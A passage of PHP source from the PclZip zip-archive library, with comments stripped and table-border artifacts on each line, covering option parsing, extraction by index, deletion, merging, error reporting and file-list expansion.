PCLZIP_CB_PRE_EXTRACT => 'optional', | |
PCLZIP_CB_POST_EXTRACT => 'optional', | |
PCLZIP_OPT_SET_CHMOD => 'optional', | |
PCLZIP_OPT_BY_NAME => 'optional', | |
PCLZIP_OPT_BY_EREG => 'optional', | |
PCLZIP_OPT_BY_PREG => 'optional', | |
PCLZIP_OPT_BY_INDEX => 'optional', | |
PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', | |
PCLZIP_OPT_EXTRACT_IN_OUTPUT => 'optional', | |
PCLZIP_OPT_REPLACE_NEWER => 'optional' | |
,PCLZIP_OPT_STOP_ON_ERROR => 'optional' | |
,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', | |
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', | |
PCLZIP_OPT_TEMP_FILE_ON => 'optional', | |
PCLZIP_OPT_TEMP_FILE_OFF => 'optional' | |
)); | |
if ($v_result != 1) { | |
return 0; | |
} | |
if (isset($v_options[PCLZIP_OPT_PATH])) { | |
$v_path = $v_options[PCLZIP_OPT_PATH]; | |
} | |
if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { | |
$v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; | |
} | |
if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { | |
$v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; | |
} | |
if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { | |
if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) { | |
$v_path .= '/'; | |
} | |
$v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; | |
} | |
} | |
else { | |
$v_path = $v_arg_list[0]; | |
if ($v_size == 2) { | |
$v_remove_path = $v_arg_list[1]; | |
} | |
else if ($v_size > 2) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); | |
return 0; | |
} | |
} | |
} | |
$this->privOptionDefaultThreshold($v_options); | |
$p_list = array(); | |
$v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, | |
$v_remove_all_path, $v_options); | |
if ($v_result < 1) { | |
unset($p_list); | |
return(0); | |
} | |
return $p_list; | |
} | |
function extractByIndex($p_index) | |
{ | |
$v_result=1; | |
$this->privErrorReset(); | |
if (!$this->privCheckFormat()) { | |
return(0); | |
} | |
$v_options = array(); | |
$v_path = ''; | |
$v_remove_path = ""; | |
$v_remove_all_path = false; | |
$v_size = func_num_args(); | |
$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; | |
if ($v_size > 1) { | |
$v_arg_list = func_get_args(); | |
array_shift($v_arg_list); | |
$v_size--; | |
if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) { | |
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, | |
array (PCLZIP_OPT_PATH => 'optional', | |
PCLZIP_OPT_REMOVE_PATH => 'optional', | |
PCLZIP_OPT_REMOVE_ALL_PATH => 'optional', | |
PCLZIP_OPT_EXTRACT_AS_STRING => 'optional', | |
PCLZIP_OPT_ADD_PATH => 'optional', | |
PCLZIP_CB_PRE_EXTRACT => 'optional', | |
PCLZIP_CB_POST_EXTRACT => 'optional', | |
PCLZIP_OPT_SET_CHMOD => 'optional', | |
PCLZIP_OPT_REPLACE_NEWER => 'optional' | |
,PCLZIP_OPT_STOP_ON_ERROR => 'optional' | |
,PCLZIP_OPT_EXTRACT_DIR_RESTRICTION => 'optional', | |
PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional', | |
PCLZIP_OPT_TEMP_FILE_ON => 'optional', | |
PCLZIP_OPT_TEMP_FILE_OFF => 'optional' | |
)); | |
if ($v_result != 1) { | |
return 0; | |
} | |
if (isset($v_options[PCLZIP_OPT_PATH])) { | |
$v_path = $v_options[PCLZIP_OPT_PATH]; | |
} | |
if (isset($v_options[PCLZIP_OPT_REMOVE_PATH])) { | |
$v_remove_path = $v_options[PCLZIP_OPT_REMOVE_PATH]; | |
} | |
if (isset($v_options[PCLZIP_OPT_REMOVE_ALL_PATH])) { | |
$v_remove_all_path = $v_options[PCLZIP_OPT_REMOVE_ALL_PATH]; | |
} | |
if (isset($v_options[PCLZIP_OPT_ADD_PATH])) { | |
if ((strlen($v_path) > 0) && (substr($v_path, -1) != '/')) { | |
$v_path .= '/'; | |
} | |
$v_path .= $v_options[PCLZIP_OPT_ADD_PATH]; | |
} | |
if (!isset($v_options[PCLZIP_OPT_EXTRACT_AS_STRING])) { | |
$v_options[PCLZIP_OPT_EXTRACT_AS_STRING] = FALSE; | |
} | |
else { | |
} | |
} | |
else { | |
$v_path = $v_arg_list[0]; | |
if ($v_size == 2) { | |
$v_remove_path = $v_arg_list[1]; | |
} | |
else if ($v_size > 2) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid number / type of arguments"); | |
return 0; | |
} | |
} | |
} | |
$v_arg_trick = array (PCLZIP_OPT_BY_INDEX, $p_index); | |
$v_options_trick = array(); | |
$v_result = $this->privParseOptions($v_arg_trick, sizeof($v_arg_trick), $v_options_trick, | |
array (PCLZIP_OPT_BY_INDEX => 'optional' )); | |
if ($v_result != 1) { | |
return 0; | |
} | |
$v_options[PCLZIP_OPT_BY_INDEX] = $v_options_trick[PCLZIP_OPT_BY_INDEX]; | |
$this->privOptionDefaultThreshold($v_options); | |
if (($v_result = $this->privExtractByRule($p_list, $v_path, $v_remove_path, $v_remove_all_path, $v_options)) < 1) { | |
return(0); | |
} | |
return $p_list; | |
} | |
function delete() | |
{ | |
$v_result=1; | |
$this->privErrorReset(); | |
if (!$this->privCheckFormat()) { | |
return(0); | |
} | |
$v_options = array(); | |
$v_size = func_num_args(); | |
if ($v_size > 0) { | |
$v_arg_list = func_get_args(); | |
$v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options, | |
array (PCLZIP_OPT_BY_NAME => 'optional', | |
PCLZIP_OPT_BY_EREG => 'optional', | |
PCLZIP_OPT_BY_PREG => 'optional', | |
PCLZIP_OPT_BY_INDEX => 'optional' )); | |
if ($v_result != 1) { | |
return 0; | |
} | |
} | |
$this->privDisableMagicQuotes(); | |
$v_list = array(); | |
if (($v_result = $this->privDeleteByRule($v_list, $v_options)) != 1) { | |
$this->privSwapBackMagicQuotes(); | |
unset($v_list); | |
return(0); | |
} | |
$this->privSwapBackMagicQuotes(); | |
return $v_list; | |
} | |
function deleteByIndex($p_index) | |
{ | |
$p_list = $this->delete(PCLZIP_OPT_BY_INDEX, $p_index); | |
return $p_list; | |
} | |
function properties() | |
{ | |
$this->privErrorReset(); | |
$this->privDisableMagicQuotes(); | |
if (!$this->privCheckFormat()) { | |
$this->privSwapBackMagicQuotes(); | |
return(0); | |
} | |
$v_prop = array(); | |
$v_prop['comment'] = ''; | |
$v_prop['nb'] = 0; | |
$v_prop['status'] = 'not_exist'; | |
if (@is_file($this->zipname)) | |
{ | |
if (($this->zip_fd = @fopen($this->zipname, 'rb')) == 0) | |
{ | |
$this->privSwapBackMagicQuotes(); | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive \''.$this->zipname.'\' in binary read mode'); | |
return 0; | |
} | |
$v_central_dir = array(); | |
if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) | |
{ | |
$this->privSwapBackMagicQuotes(); | |
return 0; | |
} | |
$this->privCloseFd(); | |
$v_prop['comment'] = $v_central_dir['comment']; | |
$v_prop['nb'] = $v_central_dir['entries']; | |
$v_prop['status'] = 'ok'; | |
} | |
$this->privSwapBackMagicQuotes(); | |
return $v_prop; | |
} | |
function duplicate($p_archive) | |
{ | |
$v_result = 1; | |
$this->privErrorReset(); | |
if ((is_object($p_archive)) && (get_class($p_archive) == 'pclzip')) | |
{ | |
$v_result = $this->privDuplicate($p_archive->zipname); | |
} | |
else if (is_string($p_archive)) | |
{ | |
if (!is_file($p_archive)) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "No file with filename '".$p_archive."'"); | |
$v_result = PCLZIP_ERR_MISSING_FILE; | |
} | |
else { | |
$v_result = $this->privDuplicate($p_archive); | |
} | |
} | |
else | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); | |
$v_result = PCLZIP_ERR_INVALID_PARAMETER; | |
} | |
return $v_result; | |
} | |
function merge($p_archive_to_add) | |
{ | |
$v_result = 1; | |
$this->privErrorReset(); | |
if (!$this->privCheckFormat()) { | |
return(0); | |
} | |
if ((is_object($p_archive_to_add)) && (get_class($p_archive_to_add) == 'pclzip')) | |
{ | |
$v_result = $this->privMerge($p_archive_to_add); | |
} | |
else if (is_string($p_archive_to_add)) | |
{ | |
$v_object_archive = new PclZip($p_archive_to_add); | |
$v_result = $this->privMerge($v_object_archive); | |
} | |
else | |
{ | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_archive_to_add"); | |
$v_result = PCLZIP_ERR_INVALID_PARAMETER; | |
} | |
return $v_result; | |
} | |
function errorCode() | |
{ | |
if (PCLZIP_ERROR_EXTERNAL == 1) { | |
return(PclErrorCode()); | |
} | |
else { | |
return($this->error_code); | |
} | |
} | |
function errorName($p_with_code=false) | |
{ | |
$v_name = array ( PCLZIP_ERR_NO_ERROR => 'PCLZIP_ERR_NO_ERROR', | |
PCLZIP_ERR_WRITE_OPEN_FAIL => 'PCLZIP_ERR_WRITE_OPEN_FAIL', | |
PCLZIP_ERR_READ_OPEN_FAIL => 'PCLZIP_ERR_READ_OPEN_FAIL', | |
PCLZIP_ERR_INVALID_PARAMETER => 'PCLZIP_ERR_INVALID_PARAMETER', | |
PCLZIP_ERR_MISSING_FILE => 'PCLZIP_ERR_MISSING_FILE', | |
PCLZIP_ERR_FILENAME_TOO_LONG => 'PCLZIP_ERR_FILENAME_TOO_LONG', | |
PCLZIP_ERR_INVALID_ZIP => 'PCLZIP_ERR_INVALID_ZIP', | |
PCLZIP_ERR_BAD_EXTRACTED_FILE => 'PCLZIP_ERR_BAD_EXTRACTED_FILE', | |
PCLZIP_ERR_DIR_CREATE_FAIL => 'PCLZIP_ERR_DIR_CREATE_FAIL', | |
PCLZIP_ERR_BAD_EXTENSION => 'PCLZIP_ERR_BAD_EXTENSION', | |
PCLZIP_ERR_BAD_FORMAT => 'PCLZIP_ERR_BAD_FORMAT', | |
PCLZIP_ERR_DELETE_FILE_FAIL => 'PCLZIP_ERR_DELETE_FILE_FAIL', | |
PCLZIP_ERR_RENAME_FILE_FAIL => 'PCLZIP_ERR_RENAME_FILE_FAIL', | |
PCLZIP_ERR_BAD_CHECKSUM => 'PCLZIP_ERR_BAD_CHECKSUM', | |
PCLZIP_ERR_INVALID_ARCHIVE_ZIP => 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', | |
PCLZIP_ERR_MISSING_OPTION_VALUE => 'PCLZIP_ERR_MISSING_OPTION_VALUE', | |
PCLZIP_ERR_INVALID_OPTION_VALUE => 'PCLZIP_ERR_INVALID_OPTION_VALUE', | |
PCLZIP_ERR_UNSUPPORTED_COMPRESSION => 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', | |
PCLZIP_ERR_UNSUPPORTED_ENCRYPTION => 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION' | |
,PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE => 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE' | |
,PCLZIP_ERR_DIRECTORY_RESTRICTION => 'PCLZIP_ERR_DIRECTORY_RESTRICTION' | |
); | |
if (isset($v_name[$this->error_code])) { | |
$v_value = $v_name[$this->error_code]; | |
} | |
else { | |
$v_value = 'NoName'; | |
} | |
if ($p_with_code) { | |
return($v_value.' ('.$this->error_code.')'); | |
} | |
else { | |
return($v_value); | |
} | |
} | |
function errorInfo($p_full=false) | |
{ | |
if (PCLZIP_ERROR_EXTERNAL == 1) { | |
return(PclErrorString()); | |
} | |
else { | |
if ($p_full) { | |
return($this->errorName(true)." : ".$this->error_string); | |
} | |
else { | |
return($this->error_string." [code ".$this->error_code."]"); | |
} | |
} | |
} | |
function privCheckFormat($p_level=0) | |
{ | |
$v_result = true; | |
clearstatcache(); | |
$this->privErrorReset(); | |
if (!is_file($this->zipname)) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "Missing archive file '".$this->zipname."'"); | |
return(false); | |
} | |
if (!is_readable($this->zipname)) { | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, "Unable to read archive '".$this->zipname."'"); | |
return(false); | |
} | |
return $v_result; | |
} | |
function privParseOptions(&$p_options_list, $p_size, &$v_result_list, $v_requested_options=false) | |
{ | |
$v_result=1; | |
$i=0; | |
while ($i<$p_size) { | |
if (!isset($v_requested_options[$p_options_list[$i]])) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid optional parameter '".$p_options_list[$i]."' for this method"); | |
return PclZip::errorCode(); | |
} | |
switch ($p_options_list[$i]) { | |
case PCLZIP_OPT_PATH : | |
case PCLZIP_OPT_REMOVE_PATH : | |
case PCLZIP_OPT_ADD_PATH : | |
if (($i+1) >= $p_size) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
$v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); | |
$i++; | |
break; | |
case PCLZIP_OPT_TEMP_FILE_THRESHOLD : | |
if (($i+1) >= $p_size) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'"); | |
return PclZip::errorCode(); | |
} | |
$v_value = $p_options_list[$i+1]; | |
if ((!is_integer($v_value)) || ($v_value<0)) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Integer expected for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
$v_result_list[$p_options_list[$i]] = $v_value*1048576; | |
$i++; | |
break; | |
case PCLZIP_OPT_TEMP_FILE_ON : | |
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_OFF])) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_OFF'"); | |
return PclZip::errorCode(); | |
} | |
$v_result_list[$p_options_list[$i]] = true; | |
break; | |
case PCLZIP_OPT_TEMP_FILE_OFF : | |
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_ON])) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_ON'"); | |
return PclZip::errorCode(); | |
} | |
if (isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Option '".PclZipUtilOptionText($p_options_list[$i])."' can not be used with option 'PCLZIP_OPT_TEMP_FILE_THRESHOLD'"); | |
return PclZip::errorCode(); | |
} | |
$v_result_list[$p_options_list[$i]] = true; | |
break; | |
case PCLZIP_OPT_EXTRACT_DIR_RESTRICTION : | |
if (($i+1) >= $p_size) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
if ( is_string($p_options_list[$i+1]) | |
&& ($p_options_list[$i+1] != '')) { | |
$v_result_list[$p_options_list[$i]] = PclZipUtilTranslateWinPath($p_options_list[$i+1], FALSE); | |
$i++; | |
} | |
else { | |
} | |
break; | |
case PCLZIP_OPT_BY_NAME : | |
if (($i+1) >= $p_size) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
if (is_string($p_options_list[$i+1])) { | |
$v_result_list[$p_options_list[$i]][0] = $p_options_list[$i+1]; | |
} | |
else if (is_array($p_options_list[$i+1])) { | |
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; | |
} | |
else { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
$i++; | |
break; | |
case PCLZIP_OPT_BY_EREG : | |
$p_options_list[$i] = PCLZIP_OPT_BY_PREG; | |
case PCLZIP_OPT_BY_PREG : | |
if (($i+1) >= $p_size) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
if (is_string($p_options_list[$i+1])) { | |
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; | |
} | |
else { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Wrong parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
$i++; | |
break; | |
case PCLZIP_OPT_COMMENT : | |
case PCLZIP_OPT_ADD_COMMENT : | |
case PCLZIP_OPT_PREPEND_COMMENT : | |
if (($i+1) >= $p_size) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, | |
"Missing parameter value for option '" | |
.PclZipUtilOptionText($p_options_list[$i]) | |
."'"); | |
return PclZip::errorCode(); | |
} | |
if (is_string($p_options_list[$i+1])) { | |
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; | |
} | |
else { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, | |
"Wrong parameter value for option '" | |
.PclZipUtilOptionText($p_options_list[$i]) | |
."'"); | |
return PclZip::errorCode(); | |
} | |
$i++; | |
break; | |
case PCLZIP_OPT_BY_INDEX : | |
if (($i+1) >= $p_size) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
$v_work_list = array(); | |
if (is_string($p_options_list[$i+1])) { | |
$p_options_list[$i+1] = strtr($p_options_list[$i+1], ' ', ''); | |
$v_work_list = explode(",", $p_options_list[$i+1]); | |
} | |
else if (is_integer($p_options_list[$i+1])) { | |
$v_work_list[0] = $p_options_list[$i+1].'-'.$p_options_list[$i+1]; | |
} | |
else if (is_array($p_options_list[$i+1])) { | |
$v_work_list = $p_options_list[$i+1]; | |
} | |
else { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Value must be integer, string or array for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
$v_sort_flag=false; | |
$v_sort_value=0; | |
for ($j=0; $j<sizeof($v_work_list); $j++) { | |
$v_item_list = explode("-", $v_work_list[$j]); | |
$v_size_item_list = sizeof($v_item_list); | |
if ($v_size_item_list == 1) { | |
$v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0]; | |
$v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[0]; | |
} | |
elseif ($v_size_item_list == 2) { | |
$v_result_list[$p_options_list[$i]][$j]['start'] = $v_item_list[0]; | |
$v_result_list[$p_options_list[$i]][$j]['end'] = $v_item_list[1]; | |
} | |
else { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Too many values in index range for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
if ($v_result_list[$p_options_list[$i]][$j]['start'] < $v_sort_value) { | |
$v_sort_flag=true; | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Invalid order of index range for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
$v_sort_value = $v_result_list[$p_options_list[$i]][$j]['start']; | |
} | |
if ($v_sort_flag) { | |
} | |
$i++; | |
break; | |
case PCLZIP_OPT_REMOVE_ALL_PATH : | |
case PCLZIP_OPT_EXTRACT_AS_STRING : | |
case PCLZIP_OPT_NO_COMPRESSION : | |
case PCLZIP_OPT_EXTRACT_IN_OUTPUT : | |
case PCLZIP_OPT_REPLACE_NEWER : | |
case PCLZIP_OPT_STOP_ON_ERROR : | |
$v_result_list[$p_options_list[$i]] = true; | |
break; | |
case PCLZIP_OPT_SET_CHMOD : | |
if (($i+1) >= $p_size) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
$v_result_list[$p_options_list[$i]] = $p_options_list[$i+1]; | |
$i++; | |
break; | |
case PCLZIP_CB_PRE_EXTRACT : | |
case PCLZIP_CB_POST_EXTRACT : | |
case PCLZIP_CB_PRE_ADD : | |
case PCLZIP_CB_POST_ADD : | |
if (($i+1) >= $p_size) { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_OPTION_VALUE, "Missing parameter value for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
$v_function_name = $p_options_list[$i+1]; | |
if (!function_exists($v_function_name)) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_OPTION_VALUE, "Function '".$v_function_name."()' is not an existing function for option '".PclZipUtilOptionText($p_options_list[$i])."'"); | |
return PclZip::errorCode(); | |
} | |
$v_result_list[$p_options_list[$i]] = $v_function_name; | |
$i++; | |
break; | |
default : | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, | |
"Unknown parameter '" | |
.$p_options_list[$i]."'"); | |
return PclZip::errorCode(); | |
} | |
$i++; | |
} | |
if ($v_requested_options !== false) { | |
for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { | |
if ($v_requested_options[$key] == 'mandatory') { | |
if (!isset($v_result_list[$key])) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); | |
return PclZip::errorCode(); | |
} | |
} | |
} | |
} | |
if (!isset($v_result_list[PCLZIP_OPT_TEMP_FILE_THRESHOLD])) { | |
} | |
return $v_result; | |
} | |
function privOptionDefaultThreshold(&$p_options) | |
{ | |
$v_result=1; | |
if (isset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]) | |
|| isset($p_options[PCLZIP_OPT_TEMP_FILE_OFF])) { | |
return $v_result; | |
} | |
$v_memory_limit = ini_get('memory_limit'); | |
$v_memory_limit = trim($v_memory_limit); | |
$last = strtolower(substr($v_memory_limit, -1)); | |
if($last == 'g') | |
$v_memory_limit = $v_memory_limit*1073741824; | |
if($last == 'm') | |
$v_memory_limit = $v_memory_limit*1048576; | |
if($last == 'k') | |
$v_memory_limit = $v_memory_limit*1024; | |
$p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] = floor($v_memory_limit*PCLZIP_TEMPORARY_FILE_RATIO); | |
if ($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD] < 1048576) { | |
unset($p_options[PCLZIP_OPT_TEMP_FILE_THRESHOLD]); | |
} | |
return $v_result; | |
} | |
function privFileDescrParseAtt(&$p_file_list, &$p_filedescr, $v_options, $v_requested_options=false) | |
{ | |
$v_result=1; | |
foreach ($p_file_list as $v_key => $v_value) { | |
if (!isset($v_requested_options[$v_key])) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid file attribute '".$v_key."' for this file"); | |
return PclZip::errorCode(); | |
} | |
switch ($v_key) { | |
case PCLZIP_ATT_FILE_NAME : | |
if (!is_string($v_value)) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); | |
return PclZip::errorCode(); | |
} | |
$p_filedescr['filename'] = PclZipUtilPathReduction($v_value); | |
if ($p_filedescr['filename'] == '') { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty filename for attribute '".PclZipUtilOptionText($v_key)."'"); | |
return PclZip::errorCode(); | |
} | |
break; | |
case PCLZIP_ATT_FILE_NEW_SHORT_NAME : | |
if (!is_string($v_value)) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); | |
return PclZip::errorCode(); | |
} | |
$p_filedescr['new_short_name'] = PclZipUtilPathReduction($v_value); | |
if ($p_filedescr['new_short_name'] == '') { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty short filename for attribute '".PclZipUtilOptionText($v_key)."'"); | |
return PclZip::errorCode(); | |
} | |
break; | |
case PCLZIP_ATT_FILE_NEW_FULL_NAME : | |
if (!is_string($v_value)) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); | |
return PclZip::errorCode(); | |
} | |
$p_filedescr['new_full_name'] = PclZipUtilPathReduction($v_value); | |
if ($p_filedescr['new_full_name'] == '') { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid empty full filename for attribute '".PclZipUtilOptionText($v_key)."'"); | |
return PclZip::errorCode(); | |
} | |
break; | |
case PCLZIP_ATT_FILE_COMMENT : | |
if (!is_string($v_value)) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". String expected for attribute '".PclZipUtilOptionText($v_key)."'"); | |
return PclZip::errorCode(); | |
} | |
$p_filedescr['comment'] = $v_value; | |
break; | |
case PCLZIP_ATT_FILE_MTIME : | |
if (!is_integer($v_value)) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE, "Invalid type ".gettype($v_value).". Integer expected for attribute '".PclZipUtilOptionText($v_key)."'"); | |
return PclZip::errorCode(); | |
} | |
$p_filedescr['mtime'] = $v_value; | |
break; | |
case PCLZIP_ATT_FILE_CONTENT : | |
$p_filedescr['content'] = $v_value; | |
break; | |
default : | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, | |
"Unknown parameter '".$v_key."'"); | |
return PclZip::errorCode(); | |
} | |
if ($v_requested_options !== false) { | |
for ($key=reset($v_requested_options); $key=key($v_requested_options); $key=next($v_requested_options)) { | |
if ($v_requested_options[$key] == 'mandatory') { | |
if (!isset($p_file_list[$key])) { | |
PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Missing mandatory parameter ".PclZipUtilOptionText($key)."(".$key.")"); | |
return PclZip::errorCode(); | |
} | |
} | |
} | |
} | |
} | |
return $v_result; | |
} | |
function privFileDescrExpand(&$p_filedescr_list, &$p_options) | |
{ | |
$v_result=1; | |
$v_result_list = array(); | |
for ($i=0; $i<sizeof($p_filedescr_list); $i++) { | |
$v_descr = $p_filedescr_list[$i]; | |
$v_descr['filename'] = PclZipUtilTranslateWinPath($v_descr['filename'], false); | |
$v_descr['filename'] = PclZipUtilPathReduction($v_descr['filename']); | |
if (file_exists($v_descr['filename'])) { | |
if (@is_file($v_descr['filename'])) { | |
$v_descr['type'] = 'file'; | |
} | |
else if (@is_dir($v_descr['filename'])) { | |
$v_descr['type'] = 'folder'; | |
} | |
else if (@is_link($v_descr['filename'])) { | |
continue; | |
} | |
else { | |
continue; | |
} | |
} | |
else if (isset($v_descr['content'])) { | |
$v_descr['type'] = 'virtual_file'; | |
} | |
else { | |
PclZip::privErrorLog(PCLZIP_ERR_MISSING_FILE, "File '".$v_descr['filename']."' does not exist"); | |
return PclZip::errorCode(); | |
} | |
$this->privCalculateStoredFilename($v_descr, $p_options); | |
$v_result_list[sizeof($v_result_list)] = $v_descr; | |
if ($v_descr['type'] == 'folder') { | |
$v_dirlist_descr = array(); | |
$v_dirlist_nb = 0; | |
if ($v_folder_handler = @opendir($v_descr['filename'])) { | |
while (($v_item_handler = @readdir($v_folder_handler)) !== false) { | |
if (($v_item_handler == '.') || ($v_item_handler == '..')) { | |
continue; | |
} | |
$v_dirlist_descr[$v_dirlist_nb]['filename'] = $v_descr['filename'].'/'.$v_item_handler; | |
if (($v_descr['stored_filename'] != $v_descr['filename']) | |
&& (!isset($p_options[PCLZIP_OPT_REMOVE_ALL_PATH]))) { | |
if ($v_descr['stored_filename'] != '') { | |
$v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_descr['stored_filename'].'/'.$v_item_handler; | |
} | |
else { | |
$v_dirlist_descr[$v_dirlist_nb]['new_full_name'] = $v_item_handler; | |
} | |
} | |
$v_dirlist_nb++; | |
} | |
@closedir($v_folder_handler); | |
} | |
else { | |
} | |
if ($v_dirlist_nb != 0) { | |
